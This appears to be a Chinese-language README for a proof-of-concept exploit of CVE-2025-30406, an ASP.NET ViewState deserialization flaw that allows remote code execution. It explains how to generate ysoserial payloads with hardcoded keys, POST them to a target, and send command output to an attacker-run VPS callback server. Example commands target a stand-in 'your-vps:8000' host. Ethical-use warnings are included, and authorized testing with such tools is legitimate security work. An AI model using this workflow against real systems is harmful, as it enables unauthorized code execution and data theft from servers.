CVE-2025-30406 ViewState 漏洞利用 PoC

概述

这是一个概念验证（PoC）脚本，演示了针对 ASP.NET 应用程序中 CVE-2025-30406 的 ViewState 反序列化漏洞利用。它使用 ysoserial 生成恶意 ViewState 载荷，并将其发送到用户指定的 URL 以执行所提供的命令。为获得最佳效果，可将命令输出外带到运行在 VPS 上的自定义 HTTP 服务器（server.py），该服务器会以带时间戳、绿色提示符和白色输出文本的样式化格式显示结果。本脚本仅供教育目的使用，并且只能在您拥有明确许可执行安全测试的系统上使用。未经授权的使用是非法的且不道德的。

CVE 详情

• CVE ID：CVE-2025-30406
• 描述：ASP.NET ViewState 处理中的反序列化漏洞，当已知有效的验证密钥和生成器时，可允许远程代码执行。
• 受影响系统：具有易受攻击的 ViewState 配置的 ASP.NET 应用程序。
• 利用前提条件：
  • 能够获取有效的 ViewState 验证密钥和生成器。
  • 存在接受 ViewState 参数的易受攻击端点。

仓库内容

• exploit.py：用于生成并发送 ViewState 载荷的主要 PoC 脚本。
• server.py：用于接收并以样式化格式显示外带命令输出的 HTTP 服务器。
• README.md：本文件，包含设置和使用说明。

先决条件

• Python 3.x
• requests 库（pip install requests）
• ysoserial 可执行文件（Windows 或适用于您平台的等效版本）
• 易受攻击的 ASP.NET 应用程序端点
• 用于运行 server.py 的 VPS 或服务器（建议用于外带）
• 拥有测试目标系统的权限

安装

1. 克隆此仓库：
   root@kitploit:~

   git clone https://github.com/yourusername/cve-2025-30406-poc.git
   cd cve-2025-30406-poc
   

2. 安装所需的 Python 包：
   root@kitploit:~

   pip install requests
   

3. 下载 ysoserial 并将其放在与 exploit.py 相同的目录中，或指定其路径：
   • ysoserial GitHub

在 VPS 上进行设置（推荐）

要以样式化格式接收外带的命令输出，请在 VPS 上运行 server.py：

1. 将 server.py 复制到您的 VPS（例如，通过 scp）：
   root@kitploit:~

   scp server.py user@your-vps-ip:/home/user/
   

2. 确保已安装 Python 3：
   root@kitploit:~

   sudo apt update && sudo apt install python3 python3-pip
   

3. 运行服务器（默认端口为 8000）：
   root@kitploit:~

   python3 server.py
   

4. 确保 VPS 防火墙允许端口 8000 上的入站流量：
   root@kitploit:~

   sudo ufw allow 8000
   

5. 记下 VPS 的公网 IP 或域名（例如 http://your-vps-ip:8000），以便与 exploit.py 中的 -e 标志一起使用。

使用方法

运行漏洞利用脚本

使用所需参数运行 exploit.py。-e 标志是可选的，但强烈建议用于将命令输出外带到 server.py 以进行样式化显示。

python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]

参数

• -u, --url：目标 URL（例如 http://target.com/page.aspx）[必需]
• -c, --command：要执行的命令（例如 whoami）[必需]
• -y, --ysoserial：ysoserial 可执行文件的路径（默认：./ysoserial.exe）[可选]
• -e, --exfil：用于外带命令输出的回调 URL（例如 http://your-vps:8000）[可选]

示例

1. 不带外带运行（盲执行）：
   root@kitploit:~

   python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
   

2. 带外带到运行 server.py 的 VPS（推荐）：
   root@kitploit:~

   python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
   

运行服务器

在您的 VPS 或本地机器上，启动 HTTP 服务器以接收外带的输出：

python3 server.py

服务器将显示带有时间戳、绿色 $ 提示符和白色文本的命令输出，以提高可读性。

工作原理

1. 漏洞利用脚本（exploit.py）：
   • 使用 ysoserial 配合硬编码的验证密钥和生成器来创建 ViewState 载荷。
   • 如果提供了 -e，命令会被包装以捕获输出，并通过 Invoke-WebRequest 发送到回调 URL。
   • 在 POST 请求中将载荷发送到目标 URL，嵌入在 __VIEWSTATE 参数中。
   • 打印服务器的响应状态和响应主体的部分内容。
2. HTTP 服务器（server.py）：
   • 监听包含命令输出的 GET 请求。
   • 解码 URL 路径并将其拆分为多行。
   • 每行以时间戳、绿色 $ 提示符和白色输出文本打印。
   • 响应 HTTP 200 和“OK”。

道德使用警告

• 本脚本是 CVE-2025-30406 的概念验证，用于教育和经授权的安全测试目的。
• 请勿在未经系统所有者明确许可的情况下使用本脚本。
• 滥用可能违反法律，包括美国的《计算机欺诈和滥用法案》（CFAA）或其他地方的类似法律。
• 在测试任何系统之前，务必获得书面同意。
• 通过协调披露或漏洞赏金计划负责任地报告漏洞。

局限性

• 硬编码的验证密钥和生成器可能仅适用于特定的易受攻击应用程序。用户可能需要应用程序特定的值。
• 该漏洞利用针对易受 ViewState 反序列化影响的 ASP.NET 应用程序。
• 该脚本假定目标服务器会正确处理 ViewState 载荷。
• 跨平台兼容性取决于 ysoserial 的可用性（主要基于 Windows）。
• 外带需要为 -e 回调 URL 提供一个可公开访问的服务器。

许可证

本项目基于 MIT 许可证授权。有关详细信息，请参阅 LICENSE 文件。

联系方式

如有问题或反馈，请在此仓库中打开一个 issue。